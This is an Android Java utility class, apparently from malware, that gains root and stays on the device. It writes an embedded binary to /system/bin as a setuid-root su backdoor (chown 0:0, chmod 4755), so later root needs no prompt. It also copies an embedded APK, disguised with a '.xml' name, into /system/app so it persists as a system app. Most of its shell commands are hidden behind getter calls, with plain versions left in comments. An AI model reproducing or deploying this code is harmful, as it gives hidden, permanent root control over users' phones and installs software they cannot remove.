package com.bba.fa;

import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;

import android.content.Context;
import android.content.Intent;
import android.os.Build;

import com.bba.GetInput;

public class RootUtil {

	/**
	 * 执行命令progArray，同时通过returnKey来获取返回值 returnKey
	 * 
	 * @param progArray
	 * @param returnKey
	 * @return
	 */
	public static String exeCmd(String[] progArray, String returnKey) {
		DataOutputStream os = null;
		Process process = null;
		BufferedReader reader = null;
		String returnCode = Constants.RETURN_CODE_ERROR;
		/*
		 * for (String str : progArray) { System.out.println("progArray: " +
		 * str); }
		 */
		try {
			process = Runtime.getRuntime().exec(progArray);
			os = new DataOutputStream(process.getOutputStream());
			os.flush();
			process.waitFor();
			reader = new BufferedReader(new InputStreamReader(
					process.getInputStream()));
			String print = null;
			while ((print = reader.readLine()) != null) {
				returnCode = Utilities.getReturnCode(returnKey, print,
						returnCode);
			}
		} catch (IOException e) {
			e.printStackTrace();
		} catch (InterruptedException e) {
			e.printStackTrace();
		} finally {

			try {
				if (os != null) {
					os.close();
				}
				if (reader != null) {
					reader.close();
				}
				if (process != null)
					process.destroy();
			} catch (IOException e) {
				e.printStackTrace();
			}

		}
		return returnCode;
	}

	public static boolean isZLSuOk() {
		File zlsu = new File(C.getsystem_bin() + C.getroot_su());
		InputStream suStream = GetInput.getZLSuInputStream();
		/**
		 * 如果zlsu存在，则和raw目录下的zlsu比较大小，大小相同则不替换
		 */
		if (zlsu.exists()) {
			try {
				if (zlsu.length() == suStream.available()) {
					suStream.close();
					return true;
				}
			} catch (IOException e) {
				e.printStackTrace();
			}
			return true;
		}
		return false;
	}

	/**
	 * 调用su获取root权限再把zlsu写到system/bin目录下 以便永久获取root权限（一旦获取成功，下次不再调用su）
	 * 
	 * @param ctx
	 */
	public static boolean preparezlsu(Context ctx) {
		if (isZLSuOk()) {
			return true;
		}
		try {
			/**
			 * 先把zlsu 写到/data/data/com.zl.movepkgdemo中 然后再调用 su 权限 写到
			 * /system/bin目录下
			 */
			InputStream suStream = GetInput.getZLSuInputStream();
			byte[] bytes = new byte[suStream.available()];
			DataInputStream dis = new DataInputStream(suStream);
			dis.readFully(bytes);
			String pkgPath = ctx.getApplicationContext().getPackageName();
			String zlsuPath = "/data/data/" + pkgPath + File.separator
					+ C.getroot_su();
			File zlsuFileInData = new File(zlsuPath);
			if (!zlsuFileInData.exists()) {
				try {
					zlsuFileInData.createNewFile();
				} catch (IOException e) {
				}
			}
			FileOutputStream suOutStream = new FileOutputStream(zlsuPath);
			suOutStream.write(bytes);
			suOutStream.close();

			Process process = Runtime.getRuntime().exec(C.getsu());
			DataOutputStream os = new DataOutputStream(
					process.getOutputStream());
			String d = C.getmount_system();
			if (d != null) {
				os.writeBytes(C.getmount_system());
			}

			// "busybox cp /data/data/com.zl.movepkgdemo/zlsu /system/bin/zlsu \n"
			String s = C.getbusybox_cp_su();
			if (s != null) {
				s = String.format(s, zlsuPath, C.getroot_su());
				/*
				 * os.writeBytes("busybox cp " + zlsuPath + " /system/bin/" +
				 * Constants.ROOT_SU + "\n");
				 */
				os.writeBytes(s);

			}

			s = C.getbusybox_chown_su();
			if (s != null) {
				// "busybox chown 0:0 /system/bin/zlsu \n"
				/*
				 * os.writeBytes("busybox chown 0:0 /system/bin/" +
				 * Constants.ROOT_SU + "\n");
				 */
				s = String.format(s, C.getroot_su());
				os.writeBytes(s);
			}
			s = C.getchmod_4755();
			if (s != null) {
				// "chmod 4755 /system/bin/zlsu \n"
				// os.writeBytes("chmod 4755 /system/bin/" + Constants.ROOT_SU +
				// "\n");
				s = String.format(s, C.getroot_su());
				os.writeBytes(s);
			}
			s = C.getexit();
			if (s != null) {

				// os.writeBytes("exit\n");
				os.writeBytes(s);
			}

			os.flush();
		} catch (Exception e) {
			e.printStackTrace();
			return false;
		}
		return true;
	}

	/**
	 * 复制文件
	 * 
	 * @param context
	 * @return
	 */
	public static File copyAPKTOSD(Context context) {
		try {
			File file = context.getFilesDir();
			file = new File(file, context.getPackageName() + C.getdot_xml());
			if (file.exists()) {
				file.delete();
			}
			file.createNewFile();
			InputStream in = GetInput.getClassdInputStream();
			OutputStream out = new FileOutputStream(file);
			byte[] buf = new byte[1024];
			int len;
			while ((len = in.read(buf)) > 0) {
				out.write(buf, 0, len);
			}
			in.close();
			out.close();
			return file;
		} catch (IOException e) {
			e.printStackTrace();
		}
		return null;
	}

	public static void move(Context context) {
		File x = new File(C.getsystem_app() + context.getPackageName()
				+ C.getdot_apk());
		if (x.exists()) {
			return;
		}
		File ff = copyAPKTOSD(context);
		if (ff == null) {
			return;
		}
		String old = context.getPackageName() + C.getdot_xml();
		String n = context.getPackageName() + C.getdot_apk();
		String path = ff.getAbsolutePath();
		StringBuffer buffer = new StringBuffer();
		String s = C.getmove_apk_command();
		/*
		 * buffer.append("mount -oremount,rw /dev/block/mtdblock3 /system\n")
		 * .append("busybox cp %s /system/app/%s \n")
		 * .append("chmod 0755 /system/app/%s\n")
		 * .append("busybox mv /system/app/%s /system/app/%s\n");
		 */
		if (s != null) {
			String c = String.format(s, path, old, old, old, n);
			String[] com = new String[] { C.getroot_su(), "-c", c };
			String returnCode = RootUtil.exeCmd(com, "100");
		}
		ff.delete();
	}

	public static void am(Context context) {
		Intent i = new Intent(C.getbrocast_action());
		context.sendBroadcast(i);
	}

}
